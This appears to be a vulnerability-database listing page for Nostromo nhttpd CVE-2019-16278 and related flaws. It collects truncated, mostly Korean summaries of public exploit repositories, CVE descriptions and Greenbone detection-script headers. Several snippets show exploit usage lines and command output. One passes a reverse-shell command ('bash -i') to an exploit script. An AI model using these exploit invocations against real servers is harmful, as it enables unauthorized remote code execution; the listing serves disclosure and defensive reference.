CVE-2019-16278

Эксплоиты для CVE-2019-16278 и CVE-2019-16279 Nostromo httpd подвержен 2 критическим уязвимостям для версий &1...

Nostromo_Python3

Nostrom RCE Python3 익스플로잇 코드: 사용법: root@kitploit: $ python3 ./exp.py vulnerable.host 8080 id uid=65534 gid=65534...

CVE-2019-16278

CVE-2019-16278 💻 -h3x0v3rl0rd- nostromo 1.9.6 - 원격 코드 실행...

CVE-2019-16278

CVE-2019-16278 CVE-2019-16278Nostromo 1.9.6을 악용하는 간단하고 빠른 파이썬 스크립트로, Nostromo nhttpd의 httpverify 함수에 존재하는 디렉터리 트래버설Directory Traversal 취약점을 통해 조작된 HTTP 요청으로 인증되지 않은 RCE원격 코드 실행를 유발합니다. 필수 인자로 웹 서버의 호스트와 포트만 입력받습니다. 선택 인자는 실행할 명령어이며기본 명령어는 'id'. 사용법: nostroxploit.py host port command...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 이 저장소는 디렉토리 경로 탐색 취약점을 통해 원격 코드 실행을 허용하는 Nostromo 웹 서버 1.9.6의 CVE-2019-16278 익스플로잇을 포함합니다. 이 스크립트는 pwntools를 사용하여 리버스 셸을 설정합니다. 교육 및 승인된 테스트 목적으로만 사용하세요. 요구 사항 Python 3.x pwntools 라이브러리 pwntools를 설치하려면 다음을 사용하세요: root@kitploit: pip3 install pwntools 사용 방법 설정 1. 리...

CVE-2019-16278

CVE-2019-16278 CVE-2019-16278Nostromo httpd 명령 실행 ➜ Downloads python nostromo.py 114.114.114.114 8080 pwd /bin ➜ Downloads python nostromo.py 114.114.114.114 8080 id uid=65534 gid=65534 ➜ Downloads python nostromo.py 114.114.114.114 8080 "ls -al" drwxr-xr-x 2 0 0 0 Apr 12 2013 . drwxr-xr-x 16 0 0...

CVE-2019-16278-Nostromo_1.9.6-RCE

CVE-2019-16278 - Nostromo 1.9.6 원격 코드 실행 Nostromo nhttpd = 1.9.6의 RCE를 익스플로잇하는 Python 스크립트 도움말 root@kitploit: usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE optional arguments: -h, --help 이 도움말 메시지를 표시하고 종료합니다 -t TARGET, --target...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 이것은 Nostromo 1.9.6 RCE에 대한 CVE-2019-16278의 익스플로잇입니다. 이 익스플로잇은 피해자 머신에서 RCE를 가능하게 합니다. 요구 사항 optparse socat sys 사용법 다음과 같이 익스플로잇을 사용할 수 있습니다: root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i &...

cve-2019-16278

cve-2019-16278 Nhttpd Nostromo 1.9.6 디렉토리 트래버설로 인한 RCE root@kitploit: git clone https://github.com/Kr0ff/cve-2019-16278...

CVE-2019-16278

CVE-2019-16278 - Nostromo nhttpd 원격 코드 실행RCE 취약점 설명 HTTP 요청 처리 과정의 디렉터리 경로 탐색directory traversal을 통해 Nostromo nhttpd 1.9.6 이하 버전에서 발생하는 원격 코드 실행RCE 취약점입니다. 영향을 받는 버전 Nostromo nhttpd 1.9.6 및 이전 버전 익스플로잇 상세 이 익스플로잇은 URL 인코딩된 CRLF 문자%0d를 사용한 디렉터리 경로 탐색 취약점을 악용하여 /bin/sh에 접근하고 임의의 명령을 실행합니다. 작동 방식: 1...

CVE-2019-16278

CVE-2019-16278 Nostromo 웹 서버의 원격 명령 실행 취약점 익스플로잇 스크립트 개요 디렉터리 트래버설로 인한 원격 명령 실행 취약점이며, CVE-2011-0751과 동일하게 필터가 엄격하지 않아 %0d를 사용하여 우회할 수 있습니다. 영향을 받는 버전 nostromo = 1.9.6...

CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

POC 저장소: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git 📜 설명 이 저장소에는 Nostromo 1.9.6웹 서버의 취약점인 CVE-2019-16278 에 대한 Python 익스플로잇이 포함되어 있습니다. 이 취약점은 디렉터리 트래버설을 악용하여 대상 시스템에서 임의의 명령을 실행함으로써 원격 코드 실행RCE을 가능하게 합니다. 🚀 기능 취약한 대상에서 사용자 지정 셸 명령을 실행합니다. 리버스 셸 페이로드를...

CVE-2019-16279

A memory error in the function SSLaccept in nostromo nhttpd through 1.9.6 allows an attacker to trigger a denial of service via a crafted HTTP request...

CVE-2019-16278

Directory Traversal in the function httpverify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request...

Exploit for Path Traversal in Nazgul Nostromo_Nhttpd

CVE-2019-16278 - Nostromo nhttpd RCE Vulnerability Descrip...

EUVD-2011-0763

Malware in sbrugna...

Nazgul Nostromo nhttpd < 2.1 Path Traversal Vulnerability

Nazgul Nostromo nhttpd is prone to a path traversal vulnerability. SPDX-FileCopyrightText: 2025 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

CVE-2022-48253

nhttpd in Nostromo before 2.1 is vulnerable to a path traversal that may allow an attacker to execute arbitrary commands on the remote server. The vulnerability occurs when the homedirs option is used...

Nazgul Nostromo nhttpd < 1.9.7 Multiple Directory Traversal Vulnerabilities

Nazgul Nostromo nhttpd is prone to multiple directory traversal vulnerabilities. SPDX-FileCopyrightText: 2025 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

Nazgul Nostromo nhttpd Detection (HTTP)

HTTP based detection of Nazgul Nostromo nhttpd. SPDX-FileCopyrightText: 2025 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...